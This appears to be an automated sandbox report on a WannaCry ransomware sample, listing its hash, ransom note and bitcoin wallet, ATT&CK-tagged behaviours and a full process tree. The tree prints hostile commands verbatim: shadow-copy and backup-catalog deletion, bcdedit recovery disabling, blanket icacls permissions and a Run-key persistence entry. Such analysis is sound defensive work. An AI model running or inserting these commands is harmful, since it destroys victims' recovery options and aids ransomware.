wannacry | ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

Target

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Sample

200107-9fwg48tgaj
SHA256

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

Score

10^/10

ransomware worm wannacry persistence

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\@[email protected]

Family

wannacry

Ransom Note

Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �

Wallets

115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn

Signatures

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc
Set value (str)	\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4964 wrote to memory of 4984	4964	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	72
PID 4964 wrote to memory of 5012	4964	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	74
PID 4964 wrote to memory of 4404	4964	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	77
PID 4964 wrote to memory of 4056	4964	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	78
PID 4056 wrote to memory of 4544	4056	cmd.exe	80
PID 4964 wrote to memory of 4156	4964	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	85
PID 4964 wrote to memory of 4160	4964	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	86
PID 4160 wrote to memory of 4228	4160	cmd.exe	88
PID 4964 wrote to memory of 4924	4964	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	90
PID 4964 wrote to memory of 4880	4964	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	91
PID 4964 wrote to memory of 4896	4964	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	92
PID 4964 wrote to memory of 4844	4964	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	94
PID 4896 wrote to memory of 4612	4896	cmd.exe	95
PID 4156 wrote to memory of 5080	4156	@[email protected]	98
PID 4228 wrote to memory of 2504	4228	@[email protected]	101
PID 2504 wrote to memory of 2708	2504	cmd.exe	103
PID 2504 wrote to memory of 4668	2504	cmd.exe	106
PID 4964 wrote to memory of 5032	4964	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	108
PID 4964 wrote to memory of 1020	4964	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	109
PID 4964 wrote to memory of 996	4964	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	110
PID 4964 wrote to memory of 4736	4964	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	114
PID 4964 wrote to memory of 524	4964	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	115
PID 4964 wrote to memory of 608	4964	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	116
PID 4964 wrote to memory of 2432	4964	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	122
PID 4964 wrote to memory of 2484	4964	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	123
PID 4964 wrote to memory of 3064	4964	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	124

Executes dropped EXE 16 IoCs

pid	Process
4404	taskdl.exe
4156	@[email protected]
4228	@[email protected]
4924	taskse.exe
4880	@[email protected]
4844	taskdl.exe
5080	taskhsvc.exe
5032	taskdl.exe
1020	taskse.exe
996	@[email protected]
4736	taskdl.exe
524	taskse.exe
608	@[email protected]
2432	taskse.exe
2484	@[email protected]
3064	taskdl.exe

Loads dropped DLL 1 IoCs

pid	Process
5080	taskhsvc.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
5080	taskhsvc.exe

Wannacry
WannaCry is a ransomware cryptoworm.
ransomware worm wannacry

Deletes shadow copies 2 TTPs 2 IoCs

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
2708	vssadmin.exe
4668	WMIC.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4612	reg.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
4228	@[email protected]
4156	@[email protected]
4880	@[email protected]
996	@[email protected]
608	@[email protected]
2484	@[email protected]

Drops startup file 6 IoCs

description	ioc	Process
File deleted	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDC0E1.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created (read-only)	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDC136.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDC136.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File deleted	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDC136.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created (read-only)	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDC0E1.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDC0E1.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

Adds Run entry to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\nmsqcsinudawe237 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\""

Suspicious use of AdjustPrivilegeToken 28 IoCs

description	pid	Process
Token: SeTcbPrivilege	4924	taskse.exe
Token: SeBackupPrivilege	4088	vssvc.exe
Token: SeRestorePrivilege	4088	vssvc.exe
Token: SeAuditPrivilege	4088	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4668	WMIC.exe
Token: SeSecurityPrivilege	4668	WMIC.exe
Token: SeTakeOwnershipPrivilege	4668	WMIC.exe
Token: SeLoadDriverPrivilege	4668	WMIC.exe
Token: SeSystemProfilePrivilege	4668	WMIC.exe
Token: SeSystemtimePrivilege	4668	WMIC.exe
Token: SeProfSingleProcessPrivilege	4668	WMIC.exe
Token: SeIncBasePriorityPrivilege	4668	WMIC.exe
Token: SeCreatePagefilePrivilege	4668	WMIC.exe
Token: SeBackupPrivilege	4668	WMIC.exe
Token: SeRestorePrivilege	4668	WMIC.exe
Token: SeShutdownPrivilege	4668	WMIC.exe
Token: SeDebugPrivilege	4668	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4668	WMIC.exe
Token: SeRemoteShutdownPrivilege	4668	WMIC.exe
Token: SeUndockPrivilege	4668	WMIC.exe
Token: SeManageVolumePrivilege	4668	WMIC.exe
Token: 33	4668	WMIC.exe
Token: 34	4668	WMIC.exe
Token: 35	4668	WMIC.exe
Token: 36	4668	WMIC.exe
Token: SeTcbPrivilege	1020	taskse.exe
Token: SeTcbPrivilege	524	taskse.exe
Token: SeTcbPrivilege	2432	taskse.exe

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
4984	attrib.exe

Modifies file permissions 1 TTPs 1 IoCs

File and Directory Permissions Modification

T1222

pid	Process
5012	icacls.exe

C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
"C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
1⤵
- Suspicious use of WriteProcessMemory
- Drops startup file
PID:4964
- C:\Windows\SysWOW64\attrib.exe
  attrib +h .
  2⤵
  - Views/modifies file attributes
  PID:4984
- C:\Windows\SysWOW64\icacls.exe
  icacls . /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:5012
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:4404
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c 201601578389178.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4056
- - C:\Windows\SysWOW64\cscript.exe
    cscript.exe //nologo m.vbs
    3⤵
    PID:4544
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected] co
  2⤵
  - Suspicious use of WriteProcessMemory
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4156
- - C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe
    TaskData\Tor\taskhsvc.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:5080
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c start /b @[email protected] vs
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4160
- - C:\Users\Admin\AppData\Local\Temp\@[email protected]
    @[email protected] vs
    3⤵
    - Suspicious use of WriteProcessMemory
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:4228
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2504
    - - C:\Windows\SysWOW64\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        5⤵
        Deletes shadow copies
        
        PID:2708
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        5⤵
        Deletes shadow copies
        Suspicious use of AdjustPrivilegeToken
        
        PID:4668
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4924
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4880
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "nmsqcsinudawe237" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "nmsqcsinudawe237" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
    3⤵
    - Modifies registry key
    PID:4612
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:4844
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:5032
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1020
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:996
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:4736
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:524
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:608
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2432
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2484
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:3064

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4088

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File Deletion

T1107

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/4964-36-0x0000000010000000-0x0000000010010000-memory.dmp

Filesize
64KB

Download
memory/5080-237-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
memory/5080-67-0x0000000003750000-0x0000000003751000-memory.dmp

Filesize
4KB

Download
memory/5080-230-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
memory/5080-221-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
memory/5080-193-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
memory/5080-187-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
memory/5080-130-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
memory/5080-93-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
memory/5080-68-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
memory/5080-231-0x0000000003750000-0x0000000003751000-memory.dmp

Filesize
4KB

Download
memory/5080-66-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
memory/5080-232-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
memory/5080-502-0x0000000003500000-0x0000000003501000-memory.dmp

Filesize
4KB

Download
memory/5080-262-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
memory/5080-307-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
memory/5080-394-0x0000000003500000-0x0000000003501000-memory.dmp

Filesize
4KB

Download
memory/5080-395-0x0000000003D00000-0x0000000003D01000-memory.dmp

Filesize
4KB

Download
memory/5080-396-0x0000000003500000-0x0000000003501000-memory.dmp

Filesize
4KB

Download